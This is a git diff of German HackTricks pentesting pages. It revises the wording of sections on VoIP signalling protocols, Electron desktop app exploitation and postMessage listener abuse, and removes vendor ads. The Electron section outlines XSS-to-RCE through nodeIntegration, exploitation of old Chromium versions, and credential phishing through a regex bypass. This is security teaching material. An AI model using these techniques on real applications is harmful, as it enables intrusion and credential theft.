**Umwandlung von Signalisierungsnachrichten zwischen verschiedenen Netzwerken**, die eine nahtlose Kommunikation zwischen traditionellen Telefonsystemen (z.B. SS7) und IP-basierten Netzwerken (z.B. SIP oder H.323) ermöglichen. Signalisierungs-Gateways sind entscheidend für die Interoperabilität und stellen sicher, dass Anrufkontrollinformationen ordnungsgemäß zwischen den verschiedenen Netzwerken kommuniziert werden. +1. **Call Agent oder Media Gateway Controller (MGC)**: Das Hauptgateway in der MGCP-Architektur ist verantwortlich für die **Verwaltung und Kontrolle der Medien-Gateways**. Es verwaltet die Prozesse zur Anrufeinrichtung, -änderung und -beendigung. Der MGC kommuniziert mit den Medien-Gateways über das MGCP-Protokoll. +2. **Media Gateways (MGs) oder Slave Gateways**: Diese Geräte **konvertieren digitale Medienströme zwischen verschiedenen Netzwerken**, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie werden vom MGC verwaltet und führen die von ihm empfangenen Befehle aus. Medien-Gateways können Funktionen wie Transkodierung, Paketierung und Echo-Unterdrückung umfassen. +3. **Signalisierungs-Gateways (SGs)**: Diese Gateways sind verantwortlich für die **Umwandlung von Signalisierungsnachrichten zwischen verschiedenen Netzwerken**, die eine nahtlose Kommunikation zwischen traditionellen Telefonsystemen (z. B. SS7) und IP-basierten Netzwerken (z. B. SIP oder H.323) ermöglichen. Signalisierungs-Gateways sind entscheidend für die Interoperabilität und stellen sicher, dass Anrufkontrollinformationen ordnungsgemäß zwischen den verschiedenen Netzwerken kommuniziert werden. Zusammenfassend zentralisiert MGCP die Anrufkontrolllogik im Anrufagenten, was die Verwaltung von Medien- und Signalisierungs-Gateways vereinfacht und eine bessere Skalierbarkeit, Zuverlässigkeit und Effizienz in Telekommunikationsnetzen bietet. ### SCCP (Skinny Client Control Protocol) -Skinny Client Control Protocol (SCCP) ist ein **proprietäres Signalisierungs- und Anrufkontrollprotokoll**, das im Besitz von Cisco Systems ist. Es wird hauptsächlich **verwendet** für die Kommunikation zwischen **Cisco Unified Communications Manager** (ehemals bekannt als CallManager) und Cisco IP-Telefonen oder anderen Cisco-Sprach- und Videoendpunkten. +Skinny Client Control Protocol (SCCP) ist ein **proprietäres Signalisierungs- und Anrufkontrollprotokoll**, das im Besitz von Cisco Systems ist. Es wird hauptsächlich **verwendet** für die Kommunikation zwischen **Cisco Unified Communications Manager** (ehemals bekannt als CallManager) und Cisco IP-Telefonen oder anderen Cisco Sprach- und Videoendpunkten. -SCCP ist ein leichtgewichtiges Protokoll, das die Kommunikation zwischen dem Anrufkontrollserver und den Endgeräten vereinfacht. Es wird als "Skinny" bezeichnet, weil es ein minimalistisches Design und reduzierte Bandbreitenanforderungen im Vergleich zu anderen VoIP-Protokollen wie H.323 oder SIP aufweist. +SCCP ist ein leichtgewichtiges Protokoll, das die Kommunikation zwischen dem Anrufkontrollserver und den Endgeräten vereinfacht. Es wird als "Skinny" bezeichnet, weil es ein minimalistisches Design und reduzierte Bandbreitenanforderungen im Vergleich zu anderen VoIP-Protokollen wie H.323 oder SIP hat. Die Hauptkomponenten eines SCCP-basierten Systems sind: -1. **Call Control Server**: Dieser Server, typischerweise ein Cisco Unified Communications Manager, verwaltet die Anrufaufbau-, Änderungs- und Beendigungsprozesse sowie andere Telefoniefunktionen wie Anrufweiterleitung, Anrufübertragung und Anrufhalten. -2. **SCCP Endpoints**: Dies sind Geräte wie IP-Telefone, Videokonferenzsysteme oder andere Cisco-Sprach- und Videoendpunkte, die SCCP verwenden, um mit dem Anrufkontrollserver zu kommunizieren. Sie registrieren sich beim Server, senden und empfangen Signalisierungsnachrichten und befolgen die Anweisungen des Anrufkontrollservers zur Anrufbearbeitung. +1. **Anrufkontrollserver**: Dieser Server, typischerweise ein Cisco Unified Communications Manager, verwaltet die Prozesse zur Anrufeinrichtung, -änderung und -beendigung sowie andere Telefoniefunktionen wie Anrufweiterleitung, Anrufübertragung und Anrufhalten. +2. **SCCP-Endpunkte**: Dies sind Geräte wie IP-Telefone, Videokonferenzsysteme oder andere Cisco Sprach- und Videoendpunkte, die SCCP verwenden, um mit dem Anrufkontrollserver zu kommunizieren. Sie registrieren sich beim Server, senden und empfangen Signalisierungsnachrichten und befolgen die Anweisungen des Anrufkontrollservers zur Anrufbearbeitung. 3. **Gateways**: Diese Geräte, wie Sprachgateways oder Medien-Gateways, sind verantwortlich für die Umwandlung von Medienströmen zwischen verschiedenen Netzwerken, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie können auch zusätzliche Funktionen wie Transkodierung oder Echo-Unterdrückung umfassen. SCCP bietet eine einfache und effiziente Kommunikationsmethode zwischen Cisco-Anrufkontrollservern und Endgeräten. Es ist jedoch zu beachten, dass **SCCP ein proprietäres Protokoll ist**, was die Interoperabilität mit Nicht-Cisco-Systemen einschränken kann. In solchen Fällen können andere standardisierte VoIP-Protokolle wie SIP geeigneter sein. ### H.323 -H.323 ist eine **Protokoll-Suite** für die Multimedia-Kommunikation, einschließlich Sprache, Video und Datenkonferenzen über paketvermittelte Netzwerke, wie z.B. IP-basierte Netzwerke. Es wurde von der **International Telecommunication Union** (ITU-T) entwickelt und bietet einen umfassenden Rahmen für die Verwaltung von Multimedia-Kommunikationssitzungen. +H.323 ist eine **Protokoll-Suite** für die Multimedia-Kommunikation, einschließlich Sprache, Video und Datenkonferenzen über paketvermittelte Netzwerke, wie IP-basierte Netzwerke. Es wurde von der **International Telecommunication Union** (ITU-T) entwickelt und bietet einen umfassenden Rahmen für die Verwaltung von Multimedia-Kommunikationssitzungen. Einige wichtige Komponenten der H.323-Suite sind: 1. **Terminals**: Dies sind Endgeräte, wie IP-Telefone, Videokonferenzsysteme oder Softwareanwendungen, die H.323 unterstützen und an Multimedia-Kommunikationssitzungen teilnehmen können. 2. **Gateways**: Diese Geräte konvertieren Medienströme zwischen verschiedenen Netzwerken, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken, und ermöglichen die Interoperabilität zwischen H.323 und anderen Kommunikationssystemen. Sie können auch zusätzliche Funktionen wie Transkodierung oder Echo-Unterdrückung umfassen. -3. **Gatekeepers**: Dies sind optionale Komponenten, die Anrufkontroll- und Verwaltungsdienste in einem H.323-Netzwerk bereitstellen. Sie führen Funktionen wie Adressübersetzung, Bandbreitenmanagement und Zugangssteuerung aus, um Netzwerkressourcen zu verwalten und zu optimieren. -4. **Multipoint Control Units (MCUs)**: Diese Geräte erleichtern Mehrpunktkonferenzen, indem sie Medienströme von mehreren Endpunkten verwalten und mischen. MCUs ermöglichen Funktionen wie Video-Layout-Kontrolle, sprachaktivierte Umschaltung und kontinuierliche Präsenz, wodurch es möglich wird, groß angelegte Konferenzen mit mehreren Teilnehmern zu veranstalten. +3. **Gatekeeper**: Dies sind optionale Komponenten, die Anrufkontroll- und Verwaltungsdienste in einem H.323-Netzwerk bereitstellen. Sie führen Funktionen wie Adressübersetzung, Bandbreitenmanagement und Zugangssteuerung aus, um Netzwerkressourcen zu verwalten und zu optimieren. +4. **Multipoint Control Units (MCUs)**: Diese Geräte erleichtern Mehrpunktkonferenzen, indem sie Medienströme von mehreren Endpunkten verwalten und mischen. MCUs ermöglichen Funktionen wie Video-Layout-Kontrolle, sprachaktiviertes Umschalten und kontinuierliche Präsenz, wodurch es möglich wird, groß angelegte Konferenzen mit mehreren Teilnehmern zu veranstalten. -H.323 unterstützt eine Reihe von Audio- und Video-Codecs sowie andere ergänzende Dienste wie Anrufweiterleitung, Anrufübertragung, Anrufhalten und Anrufwarteschleife. Trotz seiner weit verbreiteten Akzeptanz in den frühen Tagen von VoIP wurde H.323 allmählich durch modernere und flexiblere Protokolle wie das **Session Initiation Protocol (SIP)** ersetzt, das eine bessere Interoperabilität und einfachere Implementierung bietet. Dennoch wird H.323 in vielen Altsystemen weiterhin verwendet und von verschiedenen Geräteanbietern unterstützt. +H.323 unterstützt eine Reihe von Audio- und Video-Codecs sowie andere ergänzende Dienste wie Anrufweiterleitung, Anrufübertragung, Anrufhalten und Anrufwarteschleife. Trotz seiner weit verbreiteten Akzeptanz in den frühen Tagen von VoIP wurde H.323 allmählich durch modernere und flexiblere Protokolle wie das **Session Initiation Protocol (SIP)** ersetzt, das eine bessere Interoperabilität und einfachere Implementierung bietet. H.323 bleibt jedoch in vielen Altsystemen im Einsatz und wird weiterhin von verschiedenen Geräteanbietern unterstützt. ### IAX (Inter Asterisk eXchange) -IAX (Inter-Asterisk eXchange) ist ein **Signalisierungs- und Anrufkontrollprotokoll**, das hauptsächlich für die Kommunikation zwischen Asterisk PBX (Private Branch Exchange)-Servern und anderen VoIP-Geräten verwendet wird. Es wurde von Mark Spencer, dem Schöpfer der Asterisk Open-Source-PBX-Software, als Alternative zu anderen VoIP-Protokollen wie SIP und H.323 entwickelt. +IAX (Inter-Asterisk eXchange) ist ein **Signalisierungs- und Anrufkontrollprotokoll**, das hauptsächlich für die Kommunikation zwischen Asterisk PBX (Private Branch Exchange) Servern und anderen VoIP-Geräten verwendet wird. Es wurde von Mark Spencer, dem Schöpfer der Asterisk Open-Source-PBX-Software, als Alternative zu anderen VoIP-Protokollen wie SIP und H.323 entwickelt. IAX ist bekannt für seine **Einfachheit, Effizienz und einfache Implementierung**. Einige wichtige Merkmale von IAX sind: 1. **Einzelner UDP-Port**: IAX verwendet einen einzigen UDP-Port (4569) für sowohl Signalisierungs- als auch Mediendatenverkehr, was die Firewall- und NAT-Überwindung vereinfacht und die Bereitstellung in verschiedenen Netzwerkumgebungen erleichtert. -2. **Binäres Protokoll**: Im Gegensatz zu textbasierten Protokollen wie SIP ist IAX ein binäres Protokoll, das den Bandbreitenverbrauch reduziert und die Effizienz bei der Übertragung von Signalisierungs- und Mediendaten erhöht. +2. **Binäres Protokoll**: Im Gegensatz zu textbasierten Protokollen wie SIP ist IAX ein binäres Protokoll, das den Bandbreitenverbrauch reduziert und es effizienter macht, Signalisierungs- und Mediendaten zu übertragen. 3. **Trunking**: IAX unterstützt Trunking, das es ermöglicht, mehrere Anrufe in einer einzigen Netzwerkverbindung zu kombinieren, wodurch der Overhead reduziert und die Bandbreitennutzung verbessert wird. -4. **Native Verschlüsselung**: IAX unterstützt die Verschlüsselung nativ, indem Methoden wie RSA für den Schlüsselaustausch und AES für die Medienverschlüsselung verwendet werden, um eine sichere Kommunikation zwischen Endpunkten zu gewährleisten. +4. **Native Verschlüsselung**: IAX hat integrierte Unterstützung für Verschlüsselung, verwendet Methoden wie RSA für den Schlüsselaustausch und AES für die Medienverschlüsselung, um eine sichere Kommunikation zwischen Endpunkten zu gewährleisten. 5. **Peer-to-Peer-Kommunikation**: IAX kann für die direkte Kommunikation zwischen Endpunkten ohne die Notwendigkeit eines zentralen Servers verwendet werden, was eine einfachere und effizientere Anrufweiterleitung ermöglicht. Trotz seiner Vorteile hat IAX einige Einschränkungen, wie den primären Fokus auf das Asterisk-Ökosystem und eine geringere Verbreitung im Vergleich zu etablierten Protokollen wie SIP. Daher ist IAX möglicherweise nicht die beste Wahl für die Interoperabilität mit Nicht-Asterisk-Systemen oder -Geräten. Für diejenigen, die im Asterisk-Umfeld arbeiten, bietet IAX jedoch eine robuste und effiziente Lösung für die VoIP-Kommunikation. @@ -95,13 +81,13 @@ Trotz seiner Vorteile hat IAX einige Einschränkungen, wie den primären Fokus a ### SDP (Session Description Protocol) -SDP (Session Description Protocol) ist ein **textbasiertes Format**, das verwendet wird, um die Eigenschaften von Multimedia-Sitzungen, wie Sprache, Video oder Datenkonferenzen, über IP-Netzwerke zu beschreiben. Es wurde von der **Internet Engineering Task Force (IETF)** entwickelt und ist in **RFC 4566** definiert. SDP behandelt nicht die tatsächliche Medienübertragung oder Sitzungsherstellung, sondern wird in Verbindung mit anderen Signalisierungsprotokollen, wie **SIP (Session Initiation Protocol)**, verwendet, um Informationen über die Medienströme und deren Attribute auszuhandeln und auszutauschen. +SDP (Session Description Protocol) ist ein **textbasiertes Format**, das verwendet wird, um die Eigenschaften von Multimedia-Sitzungen, wie Sprache, Video oder Datenkonferenzen, über IP-Netzwerke zu beschreiben. Es wurde von der **Internet Engineering Task Force (IETF)** entwickelt und ist in **RFC 4566** definiert. SDP behandelt nicht die tatsächliche Medienübertragung oder die Sitzungsherstellung, sondern wird in Verbindung mit anderen Signalisierungsprotokollen, wie **SIP (Session Initiation Protocol)**, verwendet, um Informationen über die Medienströme und deren Attribute auszuhandeln und auszutauschen. Einige wichtige Elemente von SDP sind: 1. **Sitzungsinformationen**: SDP beschreibt die Einzelheiten einer Multimedia-Sitzung, einschließlich Sitzungsname, Sitzungsbeschreibung, Startzeit und Endzeit. -2. **Medienströme**: SDP definiert die Eigenschaften von Medienströmen, wie den Medientyp (Audio, Video oder Text), das Transportprotokoll (z.B. RTP oder SRTP) und das Medienformat (z.B. Codec-Informationen). -3. **Verbindungsinformationen**: SDP bietet Informationen über die Netzwerkadresse (IP-Adresse) und die Portnummer, an die die Medien gesendet oder empfangen werden sollen. +2. **Medienströme**: SDP definiert die Eigenschaften von Medienströmen, wie den Medientyp (Audio, Video oder Text), das Transportprotokoll (z. B. RTP oder SRTP) und das Medienformat (z. B. Codec-Informationen). +3. **Verbindungsinformationen**: SDP liefert Informationen über die Netzwerkadresse (IP-Adresse) und die Portnummer, an die die Medien gesendet oder empfangen werden sollen. 4. **Attribute**: SDP unterstützt die Verwendung von Attributen, um zusätzliche, optionale Informationen über eine Sitzung oder einen Medienstrom bereitzustellen. Attribute können verwendet werden, um verschiedene Funktionen wie Verschlüsselungsschlüssel, Bandbreitenanforderungen oder Mediensteuerungsmechanismen anzugeben. SDP wird typischerweise im folgenden Prozess verwendet: @@ -109,37 +95,26 @@ SDP wird typischerweise im folgenden Prozess verwendet: 1. Eine initiierende Partei erstellt eine SDP-Beschreibung der vorgeschlagenen Multimedia-Sitzung, einschließlich der Einzelheiten der Medienströme und deren Attribute. 2. Die SDP-Beschreibung wird an die empfangende Partei gesendet, normalerweise eingebettet in eine Signalisierungsprotokollnachricht wie SIP oder RTSP. 3. Die empfangende Partei verarbeitet die SDP-Beschreibung und kann basierend auf ihren Fähigkeiten die vorgeschlagene Sitzung akzeptieren, ablehnen oder ändern. -4. Die endgültige SDP-Beschreibung wird als Teil der Signalisierungsprotokollnachricht an die initiierende Partei zurückgesendet, um den Aushandlungsprozess abzuschließen. +4. Die endgültige SDP-Beschreibung wird als Teil der Signalisierungsprotokollnachricht an die initiierende Partei zurückgesendet, um den Verhandlungsprozess abzuschließen. Die Einfachheit und Flexibilität von SDP machen es zu einem weit verbreiteten Standard zur Beschreibung von Multimedia-Sitzungen in verschiedenen Kommunikationssystemen und spielen eine entscheidende Rolle bei der Einrichtung und Verwaltung von Echtzeit-Multimedia-Sitzungen über IP-Netzwerke. ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Real-time Transport Protocol)**: RTP ist ein Netzwerkprotokoll, das für die Übertragung von Audio- und Videodaten oder anderen Echtzeitmedien über IP-Netzwerke entwickelt wurde. Es wurde von der **IETF** entwickelt und in **RFC 3550** definiert. RTP wird häufig mit Signalisierungsprotokollen wie SIP und H.323 verwendet, um Multimedia-Kommunikation zu ermöglichen. RTP bietet Mechanismen für **Synchronisation**, **Sequenzierung** und **Zeitstempelung** von Medienströmen, um eine reibungslose und zeitgerechte Medienwiedergabe zu gewährleisten. +1. **RTP (Real-time Transport Protocol)**: RTP ist ein Netzwerkprotokoll, das für die Bereitstellung von Audio- und Videodaten oder anderen Echtzeitmedien über IP-Netzwerke entwickelt wurde. Entwickelt von der **IETF** und definiert in **RFC 3550**, wird RTP häufig mit Signalisierungsprotokollen wie SIP und H.323 verwendet, um Multimedia-Kommunikation zu ermöglichen. RTP bietet Mechanismen für **Synchronisation**, **Sequenzierung** und **Zeitstempelung** von Medienströmen, um eine reibungslose und zeitgerechte Medienwiedergabe zu gewährleisten. 2. **RTCP (Real-time Transport Control Protocol)**: RTCP ist ein Begleitprotokoll zu RTP, das zur Überwachung der Dienstgüte (QoS) verwendet wird und Feedback zur Übertragung von Medienströmen bereitstellt. Definiert im selben **RFC 3550** wie RTP, **tauscht RTCP regelmäßig Steuerpakete zwischen den Teilnehmern einer RTP-Sitzung aus**. Es teilt Informationen wie Paketverlust, Jitter und Round-Trip-Zeit mit, was bei der Diagnose und Anpassung an Netzwerkbedingungen hilft und die Gesamtqualität der Medien verbessert. -3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ist eine Erweiterung von RTP, die **Verschlüsselung**, **Nachrichtenauthentifizierung** und **Wiedergabeschutz** für Medienströme bereitstellt, um die sichere Übertragung sensibler Audio- und Videodaten zu gewährleisten. Definiert in **RFC 3711**, verwendet SRTP kryptografische Algorithmen wie AES zur Verschlüsselung und HMAC-SHA1 zur Nachrichtenauthentifizierung. SRTP wird häufig in Kombination mit sicheren Signalisierungsprotokollen wie SIP über TLS verwendet, um End-to-End-Sicherheit in der Multimedia-Kommunikation zu gewährleisten. +3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ist eine Erweiterung von RTP, die **Verschlüsselung**, **Nachrichtenauthentifizierung** und **Wiedergabeschutz** für Medienströme bereitstellt und eine sichere Übertragung sensibler Audio- und Videodaten gewährleistet. Definiert in **RFC 3711**, verwendet SRTP kryptografische Algorithmen wie AES zur Verschlüsselung und HMAC-SHA1 zur Nachrichtenauthentifizierung. SRTP wird häufig in Kombination mit sicheren Signalisierungsprotokollen wie SIP über TLS verwendet, um End-to-End-Sicherheit in der Multimedia-Kommunikation zu gewährleisten. 4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP ist ein kryptografisches Schlüsselvereinbarungsprotokoll, das **End-to-End-Verschlüsselung** für RTP-Medienströme bereitstellt. Entwickelt von Phil Zimmermann, dem Schöpfer von PGP, wird ZRTP in **RFC 6189** beschrieben. Im Gegensatz zu SRTP, das auf Signalisierungsprotokollen für den Schlüsselaustausch angewiesen ist, wurde ZRTP entwickelt, um unabhängig vom Signalisierungsprotokoll zu arbeiten. Es verwendet **Diffie-Hellman-Schlüsselaustausch**, um ein gemeinsames Geheimnis zwischen den kommunizierenden Parteien zu etablieren, ohne vorheriges Vertrauen oder eine Public-Key-Infrastruktur (PKI) zu erfordern. ZRTP umfasst auch Funktionen wie **Short Authentication Strings (SAS)**, um sich gegen Man-in-the-Middle-Angriffe zu schützen. -Diese Protokolle spielen eine wesentliche Rolle bei der **Übertragung und Sicherung der Echtzeit-Multimedia-Kommunikation über IP-Netzwerke**. Während RTP und RTCP die tatsächliche Medienübertragung und Qualitätsüberwachung behandeln, stellen SRTP und ZRTP sicher, dass die übertragenen Medien vor Abhören, Manipulation und Wiederholungsangriffen geschützt sind. +Diese Protokolle spielen eine wesentliche Rolle bei der **Bereitstellung und Sicherung der Echtzeit-Multimedia-Kommunikation über IP-Netzwerke**. Während RTP und RTCP die tatsächliche Medienübertragung und Qualitätsüberwachung behandeln, stellen SRTP und ZRTP sicher, dass die übertragenen Medien vor Abhören, Manipulation und Wiederholungsangriffen geschützt sind. -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 61650c2b0..1337ba3b7 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,39 +1,26 @@ # Electron Desktop Apps {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Einführung Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt. -Normalerweise findest du den Code der Electron-App in einer `.asar`-Anwendung. Um den Code zu erhalten, musst du ihn extrahieren: +Normalerweise finden Sie den Electron-App-Code in einer `.asar`-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -59,14 +46,14 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der Datei main.js **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind. +Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind. Die Electron-Anwendung **könnte auf das Gerät zugreifen** über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird: * **`nodeIntegration`** - ist standardmäßig `aus`. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess. * **`contextIsolation`** - ist standardmäßig `ein`. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert. * **`preload`** - standardmäßig leer. -* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann. +* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig aus. Es wird die Aktionen einschränken, die NodeJS ausführen kann. * Node-Integration in Workern * **`nodeIntegrationInSubframes`** - ist standardmäßig `aus`. * Wenn **`nodeIntegration`** **aktiviert** ist, würde dies die Verwendung von **Node.js-APIs** in Webseiten ermöglichen, die in **iframes** innerhalb einer Electron-Anwendung **geladen** werden. @@ -126,7 +113,7 @@ Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie s ## RCE: XSS + nodeIntegration -Wenn **nodeIntegration** auf **ein** gesetzt ist, kann das JavaScript einer Webseite die Node.js-Funktionen einfach nutzen, indem es `require()` aufruft. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen: +Wenn **nodeIntegration** auf **ein** gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von `require()` nutzen. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen: ```html ``` -## **RCE: XSS + Alte Chromium-Version** +## **RCE: XSS + Alte Chromium** -Wenn die **chromium**, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Sicherheitsanfälligkeiten** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erhalten**.\ +Wenn die **chromium**, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Schwachstellen** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erhalten**.\ Siehe ein Beispiel in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **XSS-Phishing über internen URL-Regulärausdruck-Bypass** +## **XSS Phishing über interne URL regex Umgehung** Angenommen, Sie haben ein XSS gefunden, aber Sie **können RCE nicht auslösen oder interne Dateien stehlen**, könnten Sie versuchen, es zu **nutzen, um Anmeldeinformationen über Phishing zu stehlen**. @@ -270,7 +257,7 @@ webContents.on("will-navigate", function (event, url) {} // o ``` Der Aufruf von **`openInternally`** entscheidet, ob der **Link** im **Desktop-Fenster** geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, **oder** ob er im **Browser als 3rd Party-Ressource** geöffnet wird. -Falls der **Regex**, der von der Funktion verwendet wird, **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Entkommen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen** fragt: +Falls der **Regex**, der von der Funktion verwendet wird, **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Entkommen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen fragt**: ```html ``` -## addEventListener-Ausnutzung +## addEventListener Ausnutzung -**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\ +**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** erwartet.\ Ein Code ähnlich dem folgenden wird verwendet: ```javascript window.addEventListener("message", (event) => { @@ -93,14 +80,14 @@ return; // ... }, false); ``` -Hinweis in diesem Fall, wie das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel). +Hinweis in diesem Fall, wie das **erste, was** der Code tut, **die Herkunft überprüft**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel). -### Enumeration +### Aufzählung Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie: * **Durchsuchen** Sie den JS-Code nach `window.addEventListener` und `$(window).on` (_JQuery-Version_) -* **Ausführen** in der Konsole der Entwicklertools: `getEventListeners(window)` +* **Führen** Sie in der Konsole der Entwicklertools aus: `getEventListeners(window)` ![](<../../.gitbook/assets/image (618) (1).png>) @@ -110,7 +97,7 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie: * Verwenden Sie eine **Browsererweiterung** wie [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) oder [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Diese Browsererweiterungen werden **alle Nachrichten abfangen** und Ihnen anzeigen. -### Herkunftsüberprüfung umgehen +### Umgehungen der Herkunftsüberprüfung * Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert. * Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in 